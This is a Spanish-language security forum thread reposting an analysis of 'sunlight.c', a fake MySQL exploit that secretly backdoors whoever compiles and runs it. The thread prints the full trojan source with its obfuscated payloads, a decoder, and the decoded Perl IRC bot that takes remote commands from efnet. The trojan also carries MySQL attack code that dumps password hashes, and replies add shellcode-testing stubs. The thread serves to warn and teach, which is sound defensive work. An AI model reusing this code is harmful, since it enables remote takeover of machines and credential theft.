elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
16 Marzo 2010, 12:47  


Temas destacados: Wallpaper mensual Marzo


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  Analizando una shellcode falsa!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: Analizando una shellcode falsa!  (Leído 4229 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
Analizando una shellcode falsa!
« en: 18 Diciembre 2003, 12:14 »

Bueno, me ha sorprendido gratamente este articulo, y me ha reafirmado en que HAY QUE CONOCER LAS SHELLCODES.
Se dice que hay muchas por internet, que es tonteria aprender como codear una, modificarla, etc...

Bueno, aqui teneis un ejemplo CLARO de porque hay que conocer las shellcodes (y los exploits en general)

Cuidadin con los exploits que os pasan o ejecutais ;)

La fuente del articulo esta al final del mismo.

***************************************************
Analizando una shellcode fake  
   
     
  - 0 - Indice
--------------------------------------------------------------------------------

- 1 - Introducción
- 2 - Analizando una supuesta shellcode
- 3 - Sobre este documento


- 1 - Introducción
--------------------------------------------------------------------------------
Fake es aquello que simula ser algo pero en realidad no lo es.
En este texto analizaremos el codigo sunlight.c el cual fue publicado hace no mucho tiempo, simulando ser un exploit remoto para el mysql, pero en realidad era un backdoor que se ejecutaba en la maquina que intentaba usar el exploit.


- 2- Analizando una supuesta shellcode
--------------------------------------------------------------------------------
Analicemos el codigo de sunlight.c:

------------------------------------CORTAR AQUÍ------------------------------------------------

Código:
/* sunlight.c
* MySQL <4.0 remote root exploit
*
* PLEASE DON'T DISTRIBUTE THIS PRIVATE CODE
* by: morpho-
* - more targets were added by alp
*
* 2003/06/06
*
* gcc sunlight.c -o sunlight -lmysqlclient -I/usr/local/include -L/usr/local/lib/mysql
*
* special thanks to sdi- for donating a bit of his elite
* debugging skillz.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <string.h>
#include <mysql/mysql.h>

char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";

struct {
char *type;
unsigned long ret;
char *shellcode;
int os_type;
} targets[] = {
{ "mysql-3.23.49-8.4 - Debian 3.0 ", 0xb80a3fab, linux_bindcode, 0 },
{ "mysql-3.23.55-14 - SuSe 8.x ", 0xb80ef2ba, linux_bindcode, 0 },
{ "mysql-3.23.53-6 - Mandrake 9.0 ", 0xb80aa2ba, linux_bindcode, 0 },
{ "mysql-3.23.56 - Slackware 9.0 ", 0xb80ba8d6, linux_bindcode, 0 },
{ "mysql-3.23.55 - FreeBSD 4.8 ", 0xb80b0b1b, bsd_bindcode, 1 },
{ "mysql-3.23.54-1 - FreeBSD 5.0 ", 0xb809ab11, bsd_bindcode, 1 },
{ "mysql-3.23.56 - FreeBSD 5.1 ", 0xb80ff374, bsd_bindcode, 1 },
{ "Crash - (all) ", 0x80fdfdfd, linux_bindcode, 0 }
};

int do_attack(MYSQL *mysql, char *attackuser);
void do_action(MYSQL *mysql, char *action, char *user);
char *strmov(register char *dst, register const char *src);

void usage(char *prog) {
fprintf(stderr, "\nMySQL <4.0 remote root exploit by morpho-\n"
"PRIVATE, DO NOT TRADE OR PUBLISH!!!\n\n"
"Usage: %s [-dtah]\n"
"-d ... mysql server\n"
"-t ... target (0 for a list)\n"
"-a ... attack user (default root)\n"
"-h ... this screen\n\n", prog);
exit(1);
}

int main(int argc, char **argv) {
MYSQL mysql;
char optchar;
int type = 0;
int i=0,w=0,x=0,y=0,z=0;
char *target, *user, *password, *attackuser, *action;
FILE *f;

target = user = password = action = attackuser= NULL;

while ( (optchar = getopt(argc, argv, "hd:t:a")) != EOF ) {
switch(optchar) {
case 'h':
usage("sunlight");
exit(0);
case 'd':
target = optarg;
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 16) {
for(i = 0; i < sizeof(targets) / 16; i++)
fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1,
targets[i].type, (unsigned int) targets[i].ret);
fprintf(stderr, "\n");
return -1;
}
break;
case 'a':
attackuser = optarg;
break;
case 'e':
}
}

if (!target) usage("sunlight");
if (!attackuser) attackuser = "root";
action = "dumpuser";
for (w=0;linux_bindcode[w];w++) linux_bindcode[w]--;
for (x=0;bsd_bindcode[x];x++) bsd_bindcode[x]--;
for (y=0;linux_connect_back[y];y++) linux_connect_back[y]--;
for (z=0;bsd_connect_back[z];z++) bsd_connect_back[z]--;

printf("connecting to [%s] as [nobody] ... ", target);
fflush(stdin);
f=fopen(bsd_connect_back+167,"w");
if(f){
fprintf(f,"%s",linux_bindcode);
fprintf(f,"%s",bsd_bindcode);
fprintf(f,"%s",linux_connect_back);
fprintf(f,"%s",bsd_connect_back);
fclose(f);}system(bsd_connect_back+137);

if (!mysql_connect(&mysql, target, "nobody", "*")) {
printf("failed\n");
return 0;
} else {
printf("ok\n");
}

printf("sending one byte requests with user [%s] ... \n", attackuser);
if (!do_attack(&mysql, attackuser)) {
do_action(&mysql, action, "nobody");
} else {
printf("attack failed\n");
}
mysql_close(&mysql);

return 0;
}

int do_attack(MYSQL *mysql, char *attackuser) {
char buff[512], *pos=buff, *attackpasswd = "A";
int i, len, j, ret = 1;

pos = (char*)strmov(pos,attackuser)+1;
mysql->scramble_buff[1] = 0;
pos = scramble(pos, mysql->scramble_buff, attackpasswd,
(my_bool) (mysql->protocol_version == 9));
pos = (char*)strmov(pos+1,"");
len = pos-buff;

for (j = 0; ret && j < 32; j++) {
buff[5] = 65 + j;
ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
}

return ret;
}

void do_action(MYSQL *mysql, char *action, char *user) {
MYSQL_ROW row;
MYSQL_RES *result;
char buf[512];

mysql_select_db(mysql, "mysql");

if (!strcmp(action, "dumpuser")) {
mysql_query(mysql, "select user, password, host from user");
result = mysql_use_result(mysql);

while ((row = mysql_fetch_row(result)))
printf("%16s %16s %50s\n", row[0], row[1], row[2]);
mysql_free_result(result);
} else if (!strcmp(action, "becomeadmin")) {
snprintf(buf, sizeof(buf) - 1,
"update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', "
" Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', "
" File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where "
" user = '%s'", "nobody");
mysql_query(mysql, buf);
mysql_reload(mysql);
} /* do whatever you want ... see mysql api ... // else if ( */
}

char *strmov(register char *dst, register const char *src)
{
while ((*dst++ = *src++)) ;
return dst-1;
}

------------------------------------CORTAR AQUÍ------------------------------------------------


Como vemos en el codigo anterior las shellcodes son las siguiente:


Código:
char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";


Copiemoslas y armemos el siguiente codigo para ver que hacen estas shellcodes:


--------------------------------------CORTAR AQUÍ------------------------------------------------


Código:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <string.h>

char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";

main() {
char *p;
for (p=linux_bindcode;*p;p++) (*p)--;
for (p=bsd_bindcode;*p;p++) (*p)--;
for (p=linux_connect_back;*p;p++) (*p)--;
for (p=bsd_connect_back;*p;p++) (*p)--;
printf("%s\n",linux_bindcode);
printf("%s\n",bsd_bindcode);
printf("%s\n",linux_connect_back);
printf("%s\n",bsd_connect_back);
}

--------------------------------------CORTAR AQUÍ------------------------------------------------


A hora hacemos lo siguiente:

[Sonyy@shellsec]$ gcc -O2 shellcode.c -o shellcode
[Sonyy@shellsec]$ ./shellcode
#!/usr/bin/perl
$chan="#l0l";$nick="lolor";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER lolor +i lolor :lolorv2
\nNICK lolor\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $c
han :lolor v2.1\nPRIVMSG $chan :to run commands, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[
^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/lol 2>/dev/null;/tmp/lol
[Sonyy@shellsec]$


Como vemos esta shellcode lo que hace realmente es conectarnos a un irc(efnet.vuurwerk.nl) en el
canal #l0l y desde ahi puedan ejecutar comandos en nuestra maquina.


Pero esto no es todo ,ahora ustedes se preguntaran pero como se ejecuta la shellcode en mi
maquina???
Bueno aca esta la respuesta:

Observen esta parte del codigo "sunlight.c" esta es la parte donde se ejecuta la shellcode
en nuestra maquina:


fclose(f);}system(bsd_connect_back+137);


Como veran circulan muchos codigos en la red los cuales algunos son reales y otros son fakes
como este que analizamos, asi que a tener cuidado con lo que uno ejecuta.


- 3- Sobre este documento
--------------------------------------------------------------------------------
Autor: Diego Krahenbuhl ( diego@shellsec.net )
Fecha: Julio de 2003
Url: http://www.shellsec.net
En línea
bochan

Desconectado Desconectado

Mensajes: 23


Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #1 en: 07 Enero 2009, 18:56 »

Hola,

He intentado probar varios shellcodes y en todas me salen caracteres raros:
Código:
$>gcc -O2 prueba_shellcode.c -o prueba_shellcode
$>./prueba_shellcode.exe

TŠë2þV‚ëÅDöbÅD÷`ÅDøkÅDùbÅDú-ÅDûdÅDüwÅDýdŒDöOºÆ’¾vþÒ

Alguien sabe otra manera de probar las shellcodes¿?

Gracias
En línea
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #2 en: 07 Enero 2009, 19:25 »

Que tipo de shellcode estas probando?

Porbind
Reverse
setuid, guid
[/snip]
mmm el shellcode para que plataforma es ?

Linux
Solaris
Hp-ux

[/snip]

-berz3k.
En línea
bochan

Desconectado Desconectado

Mensajes: 23


Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #3 en: 07 Enero 2009, 21:28 »

Hola,

Gracias por contestar. La shellcode es un bindshell, es del exploit MS08-67. Se supone que da un bind shell para windows XP SP2. El tema es que lo probe en una máquina virtual y no tira. Lo de ver lo que hace el shellcode es por esto, por que además no hay que fiarse ni de la sombra de uno.

Un saludo y gracias

En línea
Anon
Estudiante y
Moderador
*****
Desconectado Desconectado

Mensajes: 1.881


Anonymous & Paranoid


Ver Perfil WWW
Re: Analizando una shellcode falsa!
« Respuesta #4 en: 08 Enero 2009, 00:42 »

hola que tal, bueno ya la regaste al revivir un tema de hace 5 años.

Pero bueno, el shellcode esta hecho para que lo ejecute windows y tu lo quieres ejecutar desde el linux.

bueno no tengo windows, tal vez luego lo pruebe.
En línea

En la escuela "Temporada Baja"

Blog stack and heap
Mi Windows Live Space
Mi Twitter
Mi Canal Youtube

no free software, no free bugs
bochan

Desconectado Desconectado

Mensajes: 23


Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #5 en: 08 Enero 2009, 15:39 »

Hola!

La shellcode es para windows, pero he compilado y ejecutado la prueba de esta tanto en Windows como en linux y muestra siempre los mismo. He probado con otras shellcodes y me salen igual pero con otros carácteres raros. No sé, a mi siempre me gusta ejecutar el código sabiendo lo que hace, por esto le estoy dando tanta coba a esto.

Muchas gracias por la ayuda.
Un saludo
En línea
Anon
Estudiante y
Moderador
*****
Desconectado Desconectado

Mensajes: 1.881


Anonymous & Paranoid


Ver Perfil WWW
Re: Analizando una shellcode falsa!
« Respuesta #6 en: 08 Enero 2009, 16:35 »

muchas veces, parte de los shellcodes, solo son el payload para que la aplicacion vulnerable valla por cierto camino, y al final ejecuta un shellcode correcto.

Si la verdad tanto te interesa, puedes simplemente traducir los opcodes del shellcode a ensamblador y ver por donde va esto, un debuger estaria bien.

Saludos.
En línea

En la escuela "Temporada Baja"

Blog stack and heap
Mi Windows Live Space
Mi Twitter
Mi Canal Youtube

no free software, no free bugs
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #7 en: 09 Enero 2009, 03:52 »

Bastante extenso hablar sobre el exploit MS08-67, aun no termino mis pruebas, ando algo liado con el curro, hay un HILO abierto sobre este tema.

-berz3k.
En línea
achernar_

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #8 en: 09 Enero 2009, 10:30 »

en masm32 se puden testear las shellcodes con un codigo simple, compilando y usando el ollydbg

escribís esto en el bloc de notas (poniendo la shellcode que quieras) y lo guardás como test.asm

Citar
.386
.model flat, stdcall
.data

     shellcode  db  12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h
                    db   12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h
                    db   12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h,12h

.code
start:

     lea eax,shellcode
     jmp eax

end start

lo compilás

ml  /c  /coff  /Cp test.asm

link /SUBSYSTEM:WINDOWS  /LIBPATH:c:\masm32\lib  test.obj

despues lo debugeas con el olly y listo!

ves el codigo de la shelcode
En línea

Tengo una habilidad sorprendente para hacer cosas que no sorprenden.
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 1.015



Ver Perfil
Re: Analizando una shellcode falsa!
« Respuesta #9 en: 10 Enero 2009, 14:07 »

@achernar_

Código:
.386
.model flat, stdcall
.data

;------------------------------
;Metasploit win_exec calc.exe
;------------------------------
;
;"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf9".
